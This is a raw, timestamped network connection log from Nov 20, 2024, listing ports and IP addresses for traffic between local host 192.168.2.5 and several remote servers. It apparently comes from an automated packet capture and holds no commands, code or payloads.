Nov 20, 2024 00:19:24.922437906 CET	443	62074	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:24.922523022 CET	443	62074	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:24.922578096 CET	62074	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:24.952835083 CET	62076	443	192.168.2.5	65.52.241.40
Nov 20, 2024 00:19:24.964342117 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.964376926 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.964411974 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.964443922 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.964443922 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.964478970 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.964499950 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.964513063 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.964517117 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.964555025 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.964565992 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.964596033 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.964607954 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.964638948 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.964646101 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.964684010 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.964696884 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.964736938 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.964755058 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.964793921 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.964804888 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.964838982 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.964844942 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.964874029 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.964879036 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.964906931 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.964914083 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.964941978 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.964943886 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.964975119 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.964982033 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.965009928 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.965020895 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.965054989 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.965065002 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.965094090 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.965107918 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.965142012 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.965147018 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.965173960 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.965178967 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.965207100 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.965213060 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.965239048 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.965245008 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.965274096 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.965276003 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.965308905 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.965312004 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.965347052 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.965361118 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.965399981 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.965411901 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.965451002 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.965462923 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.965502024 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.965512991 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.965552092 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.965564013 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.965596914 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.965624094 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.965646029 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.965646982 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.965679884 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.965722084 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.965729952 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.965761900 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.965770006 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.965796947 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.965801001 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.965830088 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.965836048 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.965862989 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.965867043 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.965893030 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.965902090 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.965931892 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.965943098 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.965976954 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.965982914 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.966017008 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.966027021 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.966111898 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.966120958 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.966144085 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.966177940 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.966185093 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.966207027 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.966217995 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.966238976 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.966245890 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.966274023 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.966276884 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.966306925 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.966315031 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.966341972 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.966355085 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.966375113 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.966379881 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.966411114 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.966412067 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.966447115 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.966450930 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.966481924 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.966486931 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.966512918 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.966521025 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.966547012 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.966552019 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.966579914 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.966588020 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.966614008 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.966614008 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.966646910 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.966653109 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.966681957 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.966684103 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.966713905 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.966720104 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.966747046 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.966756105 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.966775894 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.966784000 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.966809988 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.966814041 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.966845036 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.966850042 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.966877937 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.966900110 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.966912985 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.966914892 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.966948032 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.966949940 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.966980934 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.966996908 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.967014074 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.967017889 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.967046976 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.967051029 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.967080116 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.967086077 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.967116117 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.967118979 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.967155933 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.008115053 CET	62076	443	192.168.2.5	65.52.241.40
Nov 20, 2024 00:19:25.008455038 CET	443	62076	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:25.010097980 CET	62076	443	192.168.2.5	65.52.241.40
Nov 20, 2024 00:19:25.010123968 CET	62076	443	192.168.2.5	65.52.241.40
Nov 20, 2024 00:19:25.010135889 CET	443	62076	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:25.036694050 CET	62073	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:25.036712885 CET	443	62073	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:25.036722898 CET	62073	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:25.036727905 CET	443	62073	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:25.071635008 CET	62075	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:25.071660995 CET	443	62075	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:25.071672916 CET	62075	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:25.071677923 CET	443	62075	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:25.074616909 CET	62074	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:25.074618101 CET	62074	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:25.074654102 CET	443	62074	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:25.074665070 CET	443	62074	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:25.077936888 CET	62081	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:25.077949047 CET	443	62081	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:25.078114033 CET	62081	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:25.078303099 CET	62081	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:25.078315973 CET	443	62081	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:25.135684967 CET	62082	443	192.168.2.5	23.219.82.25
Nov 20, 2024 00:19:25.135710001 CET	443	62082	23.219.82.25	192.168.2.5
Nov 20, 2024 00:19:25.136234999 CET	62083	443	192.168.2.5	23.219.82.25
Nov 20, 2024 00:19:25.136264086 CET	443	62083	23.219.82.25	192.168.2.5
Nov 20, 2024 00:19:25.136280060 CET	62082	443	192.168.2.5	23.219.82.25
Nov 20, 2024 00:19:25.136322021 CET	62083	443	192.168.2.5	23.219.82.25
Nov 20, 2024 00:19:25.138000011 CET	62083	443	192.168.2.5	23.219.82.25
Nov 20, 2024 00:19:25.138016939 CET	443	62083	23.219.82.25	192.168.2.5
Nov 20, 2024 00:19:25.138325930 CET	62084	443	192.168.2.5	204.79.197.219
Nov 20, 2024 00:19:25.138366938 CET	443	62084	204.79.197.219	192.168.2.5
Nov 20, 2024 00:19:25.138422012 CET	62084	443	192.168.2.5	204.79.197.219
Nov 20, 2024 00:19:25.138523102 CET	62082	443	192.168.2.5	23.219.82.25
Nov 20, 2024 00:19:25.138550043 CET	443	62082	23.219.82.25	192.168.2.5
Nov 20, 2024 00:19:25.139961004 CET	62085	443	192.168.2.5	204.79.197.219
Nov 20, 2024 00:19:25.139991045 CET	443	62085	204.79.197.219	192.168.2.5
Nov 20, 2024 00:19:25.140049934 CET	62085	443	192.168.2.5	204.79.197.219
Nov 20, 2024 00:19:25.140297890 CET	62084	443	192.168.2.5	204.79.197.219
Nov 20, 2024 00:19:25.140314102 CET	443	62084	204.79.197.219	192.168.2.5
Nov 20, 2024 00:19:25.140546083 CET	62085	443	192.168.2.5	204.79.197.219
Nov 20, 2024 00:19:25.140562057 CET	443	62085	204.79.197.219	192.168.2.5
Nov 20, 2024 00:19:25.247555971 CET	443	62076	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:25.247586966 CET	443	62076	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:25.247596025 CET	443	62076	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:25.247616053 CET	443	62076	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:25.247623920 CET	443	62076	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:25.247627020 CET	443	62076	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:25.247659922 CET	62076	443	192.168.2.5	65.52.241.40
Nov 20, 2024 00:19:25.247689009 CET	443	62076	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:25.247756004 CET	62076	443	192.168.2.5	65.52.241.40
Nov 20, 2024 00:19:25.247756004 CET	62076	443	192.168.2.5	65.52.241.40
Nov 20, 2024 00:19:25.249943972 CET	62086	443	192.168.2.5	23.57.90.171
Nov 20, 2024 00:19:25.249974012 CET	443	62086	23.57.90.171	192.168.2.5
Nov 20, 2024 00:19:25.250060081 CET	62086	443	192.168.2.5	23.57.90.171
Nov 20, 2024 00:19:25.255295992 CET	62086	443	192.168.2.5	23.57.90.171
Nov 20, 2024 00:19:25.255322933 CET	443	62086	23.57.90.171	192.168.2.5
Nov 20, 2024 00:19:25.269376040 CET	62087	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:25.269402027 CET	443	62087	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:25.269718885 CET	62087	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:25.301357985 CET	62087	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:25.301373005 CET	443	62087	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:25.301606894 CET	62088	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:25.301676989 CET	443	62088	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:25.301755905 CET	62088	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:25.301876068 CET	62088	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:25.301887035 CET	443	62088	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:25.305484056 CET	443	62080	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:25.313422918 CET	443	62076	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:25.313451052 CET	443	62076	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:25.313503981 CET	62076	443	192.168.2.5	65.52.241.40
Nov 20, 2024 00:19:25.313513041 CET	443	62076	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:25.313551903 CET	62076	443	192.168.2.5	65.52.241.40
Nov 20, 2024 00:19:25.315929890 CET	443	62076	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:25.315967083 CET	443	62076	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:25.315996885 CET	62076	443	192.168.2.5	65.52.241.40
Nov 20, 2024 00:19:25.316004038 CET	443	62076	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:25.316035986 CET	62076	443	192.168.2.5	65.52.241.40
Nov 20, 2024 00:19:25.319813013 CET	62089	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:25.319829941 CET	443	62089	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:25.320173979 CET	62089	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:25.325908899 CET	443	62079	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:25.327003002 CET	443	49788	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:25.327039957 CET	443	49788	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:25.327059984 CET	443	49788	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:25.327143908 CET	49788	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:25.327143908 CET	49788	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:25.327163935 CET	443	49788	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:25.327203989 CET	49788	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:25.327342987 CET	443	49788	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:25.327419996 CET	443	49788	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:25.327470064 CET	49788	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:25.355189085 CET	62080	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:25.355202913 CET	443	62080	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:25.355870962 CET	62080	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:25.355875969 CET	443	62080	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:25.358019114 CET	62089	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:25.358031988 CET	443	62089	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:25.390837908 CET	62079	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:25.390849113 CET	443	62079	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:25.391411066 CET	62079	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:25.391416073 CET	443	62079	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:25.396259069 CET	62090	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:25.396298885 CET	443	62090	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:25.396418095 CET	62090	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:25.396764994 CET	62091	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:25.396790028 CET	443	62091	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:25.396887064 CET	62091	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:25.397671938 CET	62092	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:25.397703886 CET	443	62092	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:25.397769928 CET	62092	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:25.400105953 CET	62093	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:25.400121927 CET	443	62093	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:25.400175095 CET	62093	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:25.400624990 CET	62094	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:25.400636911 CET	443	62094	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:25.400692940 CET	62094	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:25.404267073 CET	443	62076	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:25.404295921 CET	443	62076	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:25.404367924 CET	62076	443	192.168.2.5	65.52.241.40
Nov 20, 2024 00:19:25.404381037 CET	443	62076	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:25.404392958 CET	62076	443	192.168.2.5	65.52.241.40
Nov 20, 2024 00:19:25.406115055 CET	443	62076	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:25.406160116 CET	443	62076	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:25.406181097 CET	443	62076	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:25.406183004 CET	62076	443	192.168.2.5	65.52.241.40
Nov 20, 2024 00:19:25.406197071 CET	443	62076	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:25.406214952 CET	443	62076	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:25.406240940 CET	62076	443	192.168.2.5	65.52.241.40
Nov 20, 2024 00:19:25.406265020 CET	62076	443	192.168.2.5	65.52.241.40
Nov 20, 2024 00:19:25.407948017 CET	443	62076	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:25.407973051 CET	443	62076	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:25.408020020 CET	62076	443	192.168.2.5	65.52.241.40
Nov 20, 2024 00:19:25.408025980 CET	443	62076	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:25.408070087 CET	62076	443	192.168.2.5	65.52.241.40
Nov 20, 2024 00:19:25.410197973 CET	62090	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:25.410216093 CET	443	62090	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:25.411159992 CET	62091	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:25.411175013 CET	443	62091	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:25.411566019 CET	62092	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:25.411581993 CET	443	62092	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:25.411922932 CET	62093	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:25.411936998 CET	443	62093	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:25.412570953 CET	62094	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:25.412581921 CET	443	62094	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:25.430499077 CET	443	62076	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:25.430524111 CET	443	62076	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:25.430562973 CET	62076	443	192.168.2.5	65.52.241.40
Nov 20, 2024 00:19:25.430573940 CET	443	62076	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:25.430604935 CET	62076	443	192.168.2.5	65.52.241.40
Nov 20, 2024 00:19:25.455991983 CET	443	62080	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:25.456062078 CET	443	62080	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:25.456157923 CET	62080	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:25.459376097 CET	49788	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:25.459398031 CET	443	49788	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:25.459470987 CET	49788	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:25.459479094 CET	443	49788	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:25.462040901 CET	62080	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:25.462049007 CET	443	62080	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:25.462059975 CET	62080	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:25.462064028 CET	443	62080	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:25.464677095 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:25.467014074 CET	62095	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:25.467032909 CET	443	62095	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:25.467094898 CET	62095	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:25.469283104 CET	62095	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:25.469295979 CET	443	62095	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:25.479156017 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:25.495773077 CET	443	62079	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:25.495836020 CET	443	62079	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:25.495893955 CET	62079	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:25.496771097 CET	443	62076	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:25.496793032 CET	443	62076	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:25.496841908 CET	62076	443	192.168.2.5	65.52.241.40
Nov 20, 2024 00:19:25.496865988 CET	443	62076	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:25.496884108 CET	62076	443	192.168.2.5	65.52.241.40
Nov 20, 2024 00:19:25.497025013 CET	443	62076	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:25.497067928 CET	62076	443	192.168.2.5	65.52.241.40
Nov 20, 2024 00:19:25.504703045 CET	62076	443	192.168.2.5	65.52.241.40
Nov 20, 2024 00:19:25.504726887 CET	443	62076	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:25.516467094 CET	62096	443	192.168.2.5	20.189.173.10
Nov 20, 2024 00:19:25.516509056 CET	443	62096	20.189.173.10	192.168.2.5
Nov 20, 2024 00:19:25.516588926 CET	62096	443	192.168.2.5	20.189.173.10
Nov 20, 2024 00:19:25.517035961 CET	62096	443	192.168.2.5	20.189.173.10
Nov 20, 2024 00:19:25.517055035 CET	443	62096	20.189.173.10	192.168.2.5
Nov 20, 2024 00:19:25.523864031 CET	62097	443	192.168.2.5	20.189.173.10
Nov 20, 2024 00:19:25.523893118 CET	443	62097	20.189.173.10	192.168.2.5
Nov 20, 2024 00:19:25.524086952 CET	62097	443	192.168.2.5	20.189.173.10
Nov 20, 2024 00:19:25.524980068 CET	62097	443	192.168.2.5	20.189.173.10
Nov 20, 2024 00:19:25.524993896 CET	443	62097	20.189.173.10	192.168.2.5
Nov 20, 2024 00:19:25.531483889 CET	62079	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:25.531493902 CET	443	62079	13.107.246.45	192.168.2.5
